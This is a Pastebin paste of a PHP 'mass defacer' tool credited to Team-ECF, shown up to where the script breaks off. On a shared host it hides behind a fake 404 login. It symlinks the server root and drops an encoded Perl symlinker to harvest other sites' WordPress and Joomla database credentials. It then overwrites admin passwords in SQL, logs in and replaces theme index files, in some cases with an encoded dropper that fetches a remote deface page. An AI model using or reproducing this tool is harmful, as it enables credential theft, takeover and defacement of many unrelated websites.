1337_Brain

Bodna By Team-ECF WP - Joomla Mass Defacer

Jul 14th, 2014
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 42.91 KB | None | 0 0
  1. <?php
  2.  
  3. ini_set("display_errors", "0");
  4. set_time_limit(0);
  5. @session_start();
  6. $auth_pass = '';
  7.  
  8. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
  9.     if(empty($auth_pass) || (isset($_GET['pass']) && (md5($_GET['pass'])==$auth_pass))) {
  10.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  11.     } else {
  12.         printLogin();
  13.     }
  14. }
  15.  
  16. function printLogin() {
  17. echo '<h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr>'.($_SERVER['SERVER_SIGNATURE']?$_SERVER['SERVER_SIGNATURE']:'<address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>');exit;
  18. }
  19.  
  20. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  21.     $ar0=explode($marqueurDebutLien, $text);
  22.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  23.     return trim($ar1[0]);
  24. }
  25.  
  26. function randomt() {
  27.     $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  28.     srand((double)microtime()*1000000);
  29.     $i = 0;
  30.     $pass = '';
  31.     while ($i <= 7) {
  32.         $num = rand() % 33;
  33.         $tmp = substr($chars, $num, 1);
  34.         $pass = $pass . $tmp;
  35.         $i++;
  36.     }
  37.     return $pass;
  38. }
  39.  
  40. function index_changer_wp($conf, $content) {
  41.     $output = '';
  42.     $dol = '$';
  43.     $go = 0;
  44.     $username = entre2v2($conf,"define('DB_USER', '","');");
  45.     $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
  46.     $dbname = entre2v2($conf,"define('DB_NAME', '","');");
  47.     $prefix = entre2v2($conf,$dol."table_prefix  = '","'");
  48.     $host = entre2v2($conf,"define('DB_HOST', '","');");
  49.  
  50.     $link=mysql_connect($host,$username,$password);
  51.     if($link) {
  52.         mysql_select_db($dbname,$link) ;
  53.         $dol = '$';
  54.         $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '".$dol."P".$dol."BpAdo5GPHYYw778chUGOokkzTPnOSP.' WHERE `ID` = 1");
  55.     } else {
  56.         $output.= "[-] DB Error<br />";
  57.     }
  58.     if($req1) {
  59.  
  60.         $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='home'");
  61.         $data = mysql_fetch_array($req);
  62.         $site_url=$data["option_value"];
  63.  
  64.         $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='template'");
  65.         $data = mysql_fetch_array($req);
  66.         $template = $data["option_value"];
  67.  
  68.         $req = mysql_query("SELECT * from  `".$prefix."options` WHERE option_name='current_theme'");
  69.         $data = mysql_fetch_array($req);
  70.         $current_theme = $data["option_value"];
  71.  
  72.         $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
  73.         $url2=$site_url."/wp-login.php";
  74.  
  75.         $ch = curl_init();
  76.         curl_setopt($ch, CURLOPT_URL, $url2);
  77.         curl_setopt($ch, CURLOPT_POST, 1);
  78.         curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=ahscr3w&rememberme=forever&wp-submit=Log In&testcookie=1");
  79.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  80.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  81.         curl_setopt($ch, CURLOPT_HEADER, 0);
  82.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  83.         curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  84.         curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  85.         curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  86.         $buffer = curl_exec($ch);
  87.  
  88.         $pos = strpos($buffer,"action=logout");
  89.         if($pos === false) {
  90.             $output.= "[-] Login Error<br />";
  91.         } else {
  92.             $output.= "[+] Login Successful<br />";
  93.             $go = 1;
  94.         }
  95.         if($go) {
  96.             $cond = 0;
  97.             $url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
  98.             curl_setopt($ch, CURLOPT_URL, $url2);
  99.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  100.             curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  101.             curl_setopt($ch, CURLOPT_HEADER, 0);
  102.             curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  103.             curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  104.             curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  105.             $buffer0 = curl_exec($ch);
  106.  
  107.             $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
  108.             $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
  109.  
  110.             if(substr_count($_file,"/index.php") != 0){
  111.                 $output.= "[+] index.php loaded in Theme Editor<br />";
  112.                 $url2=$site_url."/wp-admin/theme-editor.php";
  113.                 curl_setopt($ch, CURLOPT_URL, $url2);
  114.                 curl_setopt($ch, CURLOPT_POST, 1);
  115.                 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
  116.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  117.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  118.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  119.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  120.                 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  121.                 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  122.                 $buffer = curl_exec($ch);
  123.                 curl_close($ch);
  124.  
  125.                 $pos = strpos($buffer,'<div id="message" class="updated">');
  126.                 if($pos === false) {
  127.                     $output.= "[-] Updating Index.php Error<br />";
  128.                 } else {
  129.                     $output.= "[+] Index.php Updated Successfuly<br />";
  130.                     $hk = explode('public_html',$_file);
  131.                     $output.= '[+] Deface '.file_get_contents($site_url.str_replace('/blog','',$hk[1]));
  132.                     $cond = 1;
  133.                 }
  134.             } else {
  135.                 $url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.$template;
  136.                 curl_setopt($ch, CURLOPT_URL, $url2);
  137.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  138.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  139.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  140.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  141.                 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  142.                 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  143.                 $buffer0 = curl_exec($ch);
  144.  
  145.                 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
  146.                 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
  147.  
  148.                 if(substr_count($_file,"index.php") != 0){
  149.                     $output.= "[+] index.php loaded in Theme Editor<br />";
  150.                     $url2=$site_url."/wp-admin/theme-editor.php";
  151.                     curl_setopt($ch, CURLOPT_URL, $url2);
  152.                     curl_setopt($ch, CURLOPT_POST, 1);
  153.                     curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".base64_decode($content)."&action=update&file=".$_file."&theme=".$template."&_wpnonce=".$_wpnonce."&submit=Update File");
  154.                     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  155.                     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  156.                     curl_setopt($ch, CURLOPT_HEADER, 0);
  157.                     curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  158.                     curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
  159.                     curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
  160.                     $buffer = curl_exec($ch);
  161.                     curl_close($ch);
  162.  
  163.                     $pos = strpos($buffer,'<div id="message" class="updated">');
  164.                     if($pos === false) {
  165.                         $output.= "[-] Updating Index.php Error<br />";
  166.                     } else {
  167.                         $output.= "[+] Index.php Template Updated Successfuly<br />";
  168.                         $output.= '[+] Deface '.file_get_contents($site_url.'/wp-content/themes/'.$template.'/index.php');
  169.                         $cond = 1;
  170.                     }
  171.                 } else {
  172.                     $output.= "[-] index.php can not load in Theme Editor<br />";
  173.                 }
  174.             }
  175.         }
  176.     } else {
  177.         $output.= "[-] DB Error<br />";
  178.     }
  179.     global $base_path;
  180.     unlink($base_path.'COOKIE.txt');
  181.     return array('cond'=>$cond, 'output'=>$output);
  182. }
  183.  
  184. function index_changer_joomla($conf, $content, $domain) {
  185.     $doler = '$';
  186.     $username = entre2v2($conf, $doler."user = '", "';");
  187.     $password = entre2v2($conf, $doler."password = '", "';");
  188.     $dbname = entre2v2($conf, $doler."db = '", "';");
  189.     $prefix = entre2v2($conf, $doler."dbprefix = '", "';");
  190.     $host = entre2v2($conf, $doler."host = '","';");
  191.     $co=randomt();
  192.     $site_url = "http://".$domain."/administrator";
  193.     $output = '';
  194.     $cond = 0;
  195.     $link=mysql_connect($host, $username, $password);
  196.     if($link) {
  197.         mysql_select_db($dbname,$link) ;
  198.         $req1 = mysql_query("UPDATE `".$prefix."users` SET `username` ='admin' , `password` = '9a40044dd4e66fe4fd87b54ed49a0a87:sz4LLlQEZ9Jt43N27JT0qVvptaY53imJ', `usertype` = 'Super Administrator', `block` = 0");
  199.         $req = mysql_numrows(mysql_query("SHOW TABLES LIKE '".$prefix."extensions'"));
  200.     } else {
  201.         $output.= "[-] DB Error<br />";
  202.     }
  203.    
  204.     if($req1){
  205.         if ($req) {
  206.             $req = mysql_query("SELECT * from  `".$prefix."template_styles` WHERE `client_id` = '0' and `home` = '1'");
  207.             $data = mysql_fetch_array($req);
  208.             $template_name = $data["template"];
  209.  
  210.             $req = mysql_query("SELECT * from  `".$prefix."extensions` WHERE `name`='".$template_name."' or `element` = '".$template_name."'");
  211.             $data = mysql_fetch_array($req);
  212.             $template_id = $data["extension_id"];
  213.  
  214.             $url2=$site_url."/index.php";
  215.             $ch = curl_init();
  216.             curl_setopt($ch, CURLOPT_URL, $url2);
  217.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  218.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  219.             curl_setopt($ch, CURLOPT_HEADER, 0);
  220.             curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  221.             curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  222.             curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  223.             $buffer = curl_exec($ch);
  224.             $return = entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  225.             $hidden = entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  226.  
  227.             if($return && $hidden) {
  228.                 curl_setopt($ch, CURLOPT_URL, $url2);
  229.                 curl_setopt($ch, CURLOPT_POST, 1);
  230.                 curl_setopt($ch, CURLOPT_REFERER, $url2);
  231.                 curl_setopt($ch, CURLOPT_POSTFIELDS, "username=admin&passwd=3xp1r3_CA123&option=com_login&task=login&return=".$return."&".$hidden."=1");
  232.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  233.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  234.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  235.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  236.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  237.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  238.                 $buffer = curl_exec($ch);
  239.                 $pos = strpos($buffer,"com_config");
  240.                 if($pos === false) {
  241.                     $output.= "[-] Login Error<br />";
  242.                 } else {
  243.                     $output.= "[+] Login Successful<br />";
  244.                 }
  245.             }
  246.             if($pos){
  247.                 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  248.                 $ch = curl_init();
  249.                 curl_setopt($ch, CURLOPT_URL, $url2);
  250.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  251.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  252.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  253.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  254.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  255.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  256.                 $buffer = curl_exec($ch);
  257.  
  258.                 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  259.                 if($hidden2) {
  260.                     $output.= "[+] index.php file found in Theme Editor<br />";
  261.                 } else {
  262.                     $output.= "[-] index.php Not found in Theme Editor<br />";
  263.                 }
  264.             }
  265.             if($hidden2) {
  266.                 $url2=$site_url."/index.php?option=com_templates&layout=edit";
  267.                 $ch = curl_init();
  268.                 curl_setopt($ch, CURLOPT_URL, $url2);
  269.                 curl_setopt($ch, CURLOPT_POST, 1);
  270.                 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$content."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  271.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  272.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  273.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  274.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  275.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  276.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  277.                 $buffer = curl_exec($ch);
  278.                 curl_close($ch);
  279.  
  280.                 $pos = strpos($buffer,'<dd class="message message">');
  281.                 $cond = 0;
  282.                 if($pos === false) {
  283.                     $output.= "[-] Updating Index.php Error<br />";
  284.                                    
  285.                 } else {
  286.                     $output.= "[+] Index.php Template successfully saved<br />";
  287.                     $cond = 1;
  288.                 }
  289.             }
  290.         }
  291.         else {
  292.             $req =mysql_query("SELECT * from  `".$prefix."templates_menu` WHERE client_id='0'");
  293.             $data = mysql_fetch_array($req);
  294.             $template_name=$data["template"];
  295.             $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
  296.             $url2=$site_url."/index.php";
  297.             $ch = curl_init();
  298.             curl_setopt($ch, CURLOPT_URL, $url2);
  299.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  300.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  301.             curl_setopt($ch, CURLOPT_HEADER, 0);
  302.             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  303.             curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  304.             curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  305.             curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  306.             $buffer = curl_exec($ch);
  307.             $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  308.  
  309.             if($hidden) {
  310.                 curl_setopt($ch, CURLOPT_URL, $url2);
  311.                 curl_setopt($ch, CURLOPT_POST, 1);
  312.                 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456&option=com_login&task=login&".$hidden."=1");
  313.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  314.                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  315.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  316.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  317.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  318.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  319.                 $buffer = curl_exec($ch);
  320.                 $pos = strpos($buffer,"com_config");
  321.                 if($pos === false) {
  322.                     $output.= "[-] Login Error<br />";
  323.                 } else {
  324.                     $output.= "[+] Login Successful<br />";
  325.                 }
  326.             }
  327.  
  328.             if($pos) {
  329.                 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  330.                 curl_setopt($ch, CURLOPT_URL, $url2);
  331.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  332.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  333.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  334.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  335.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  336.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  337.                 $buffer = curl_exec($ch);
  338.                 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  339.                 if($hidden2) {
  340.                     $output.= "[+] index.php file founded in Theme Editor<br />";
  341.                 } else {
  342.                     $output.= "[-] index.php Not found in Theme Editor<br />";
  343.                 }
  344.             }
  345.  
  346.             if($hidden2) {
  347.                 $url2=$site_url."/index.php?option=com_templates&layout=edit";
  348.                 curl_setopt($ch, CURLOPT_URL, $url2);
  349.                 curl_setopt($ch, CURLOPT_POST, 1);
  350.                 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$content."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  351.                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  352.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  353.                 curl_setopt($ch, CURLOPT_HEADER, 0);
  354.                 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  355.                 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  356.                 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  357.                 $buffer = curl_exec($ch);
  358.                 curl_close($ch);
  359.  
  360.                 $pos = strpos($buffer,'<dd class="message message fade">');
  361.                 $cond = 0;
  362.                 if($pos === false) {
  363.                     $output.= "[-] Updating Index.php Error<br />";
  364.                 } else {
  365.                     $output.= "[+] Index.php Template successfully saved<br />";
  366.                     $cond = 1;
  367.                 }
  368.             }
  369.         }
  370.     } else {
  371.         $output.= "[-] DB Error<br />";
  372.     }
  373.     global $base_path;
  374.     unlink($base_path.$co);
  375.     return array('cond'=>$cond, 'output'=>$output);
  376. }
  377.  
  378. function exec_mode_1($def_url) {
  379.  
  380.     @mkdir('ecf',0777);
  381.     $wr  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  382.     $fp = @fopen ('ecf/.htaccess','w');
  383.     fwrite($fp, $wr);
  384.     @symlink('/','ecf/root');
  385.     $dominios = @file_get_contents("/etc/named.conf");
  386.     @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  387.     $out[1] = array_unique($out[1]);
  388.     $numero_dominios = count($out[1]);
  389.     echo "Total domains: $numero_dominios <br><br />";
  390.     $def = file_get_contents($def_url);
  391.     $def = urlencode($def);
  392.     $def2 = 'PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2RsLmRyb3Bib3guY29tL3UvNzEwMTY1ODMvaW5kZXgudHh0Jyk7DQokcCA9IGV4cGxvZGUoJ3B1YmxpY19odG1sJyxkaXJuYW1lKF9fRklMRV9fKSk7DQokcCA9ICRwWzBdLidwdWJsaWNfaHRtbCc7DQppZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHApKSB7DQogICAgJGZwMSA9IEBmb3BlbigkcC4nL2luZGV4Lmh0bWwnLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgJGZwMSA9IEBmb3BlbigkcC4nL2luZGV4LnBocCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgIGVjaG8gJ0RvbmUnOw0KfQ0KY2xvc2VkaXIoJGhhbmRsZSk7DQp1bmxpbmsoX19GSUxFX18pOw0KPz4=';
  393.     $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/ecf/root/home/';
  394.     $output = fopen('defaced.html', 'a+');
  395.     $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;
  396.     $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;
  397.     echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';
  398.     $j = 1;
  399.     $st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;
  400.     for($i = $st; $i <= $numero_dominios; $i++)
  401.     {
  402.         $domain = $out[1][$i];
  403.         $dono_arquivo = @fileowner("/etc/valiases/".$domain);
  404.         $infos = @posix_getpwuid($dono_arquivo);
  405.        
  406.         if($infos['name']!='root') {
  407.             $config01 = @file_get_contents($base_url.$infos['name']."/public_html/configuration.php");
  408.             $config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");
  409.             $config03 = @file_get_contents($base_url.$infos['name']."/public_html/blog/wp-config.php");
  410.             $config04 = @file_get_contents($base_url.$infos['name']."/public_html/site/wp-config.php");
  411.             $config05 = @file_get_contents($base_url.$infos['name']."/public_html/wp/wp-config.php");
  412.  
  413.             $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  414.        
  415.             if($config01 && preg_match('/dbprefix/i',$config01)){
  416.                 echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  417.                 echo '<td align="center"><font color="pink">JOOMLA</font></td>';
  418.                 $res = index_changer_joomla($config01, $def, $domain);
  419.                 echo '<td>'.$res['output'].'</td>';
  420.                 if($res['cond']) {
  421.                     echo '<td align="center"><span class="green">DEFACED</span></td>';
  422.                     fwrite($output, 'http://'.$domain."<br>");
  423.                     $_SESSION['count1'] = $_SESSION['count1'] + 1;
  424.                 } else {
  425.                     echo '<td align="center"><span class="red">FAILED</span></td>';
  426.                 }
  427.                 echo '</tr>';
  428.             }
  429.  
  430.             if($config02 && preg_match('/DB_NAME/i',$config02)){
  431.                 echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  432.                 echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
  433.                 $res = index_changer_wp($config02, $def2);
  434.                 echo '<td>'.$res['output'].'</td>';
  435.                 if($res['cond']) {
  436.                     echo '<td align="center"><span class="green">DEFACED</span></td>';
  437.                     fwrite($output, 'http://'.$domain."<br>");
  438.                     $_SESSION['count2'] = $_SESSION['count2'] + 1;
  439.                 } else {
  440.                     echo '<td align="center"><span class="red">FAILED</span></td>';
  441.                 }
  442.                 echo '</tr>';
  443.             }
  444.             $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  445.             if($config03 && preg_match('/DB_NAME/i',$config03)){
  446.                 echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  447.                 echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
  448.                 $res = index_changer_wp($config03, $def2);
  449.                 echo '<td>'.$res['output'].'</td>';
  450.                 if($res['cond']) {
  451.                     echo '<td align="center"><span class="green">DEFACED</span></td>';
  452.                     fwrite($output, 'http://'.$domain."<br>");
  453.                     $_SESSION['count2'] = $_SESSION['count2'] + 1;
  454.                 } else {    
  455.                     echo '<td align="center"><span class="red">FAILED</span></td>';
  456.                 }
  457.                 echo '</tr>';
  458.             }
  459.         }
  460.     }
  461.     echo '</table>';
  462.     echo '<hr/>';
  463.     echo 'Total Defaced = '.($_SESSION['count1']+$_SESSION['count2']).' (JOOMLA = '.$_SESSION['count1'].', WORDPRESS = '.$_SESSION['count2'].')<br />';
  464.     echo '<a href="defaced.html" target="_blank">View Total Defaced urls</a><br />';
  465.     if($_SESSION['count1']+$_SESSION['count2'] > 0){
  466.         echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';
  467.     }
  468. }
  469.  
  470. function exec_mode_2($def_url) {
  471.    
  472.     $domains = @file_get_contents("/etc/named.conf");
  473.     @preg_match_all('/.*?zone "(.*?)" {/', $domains, $out);
  474.     $out = array_unique($out[1]);
  475.     $num = count($out);
  476.     print("Total domains: $num<br><br />");
  477.    
  478.     $def = file_get_contents($def_url);
  479.     $def = urlencode($def);
  480.        
  481.     $output = fopen('defaced.html', 'a+');
  482.     $defaced = '';
  483.     $count1 = 0;
  484.     $count2 = 0;
  485.     echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Type</th><th>Action</th><th>Status</th></tr>';
  486.     $j = 1;
  487.     $map = array();
  488.     foreach($out as $d) {
  489.         $info = @posix_getpwuid(fileowner("/etc/valiases/".$d));
  490.         $map[$info['name']] = $d;
  491.     }
  492.     $dt = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs
  493.           NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
  494.           h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
  495.           G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
  496.           YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
  497.           kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
  498.           B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==';
  499.     mkdir('ecf',0777);
  500.     file_put_contents('ecf/plsym.cc', base64_decode($dt));
  501.     chmod('ecf/plsym.cc', 0755);
  502.     $wr  = "Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc";
  503.     $fp = @fopen ('ecf/.htaccess','w');
  504.     fwrite($fp, $wr);
  505.     fclose($fp);
  506.     $res = file_get_contents('http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/ecf/plsym.cc');  
  507.    
  508.     $url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/ecf/';
  509.     unlink('ecf/plsym.cc');
  510.     $data = file_get_contents($url);
  511.     preg_match_all('/<a href="(.+)">/', $data, $match);
  512.     unset($match[1][0]);
  513.     $i = 1;
  514.     foreach($match[1] as $m)    
  515.     {
  516.         $mz = explode('##',urldecode($m));
  517.         $config01 = '';
  518.         $config02 = '';
  519.         if($mz[1] == 'joomla.txt') {
  520.             $config01 = file_get_contents($url.$m);
  521.         }
  522.         if($mz[1] == 'wordpress.txt') {
  523.             $config02 = file_get_contents($url.$m);
  524.         }
  525.         $domain = $map[$mz[0]];
  526.         $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
  527.        
  528.         if($config01 && preg_match('/dbprefix/i',$config01)){
  529.             echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i++.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  530.             echo '<td align="center"><font color="pink">JOOMLA</font></td>';
  531.             $res = index_changer_joomla($config01, $def, $domain);
  532.             echo '<td>'.$res['output'].'</td>';
  533.             if($res['cond']) {
  534.                 echo '<td align="center"><span class="green">DEFACED</span></td>';
  535.                 fwrite($output, 'http://'.$domain."<br>");
  536.                 $count1++;
  537.             } else {
  538.                 echo '<td align="center"><span class="red">FAILED</span></td>';
  539.             }
  540.             echo '</tr>';
  541.         }
  542.  
  543.         if($config02 && preg_match('/DB_NAME/i',$config02)){
  544.             echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
  545.             echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
  546.             $res = index_changer_wp($config02, $def);
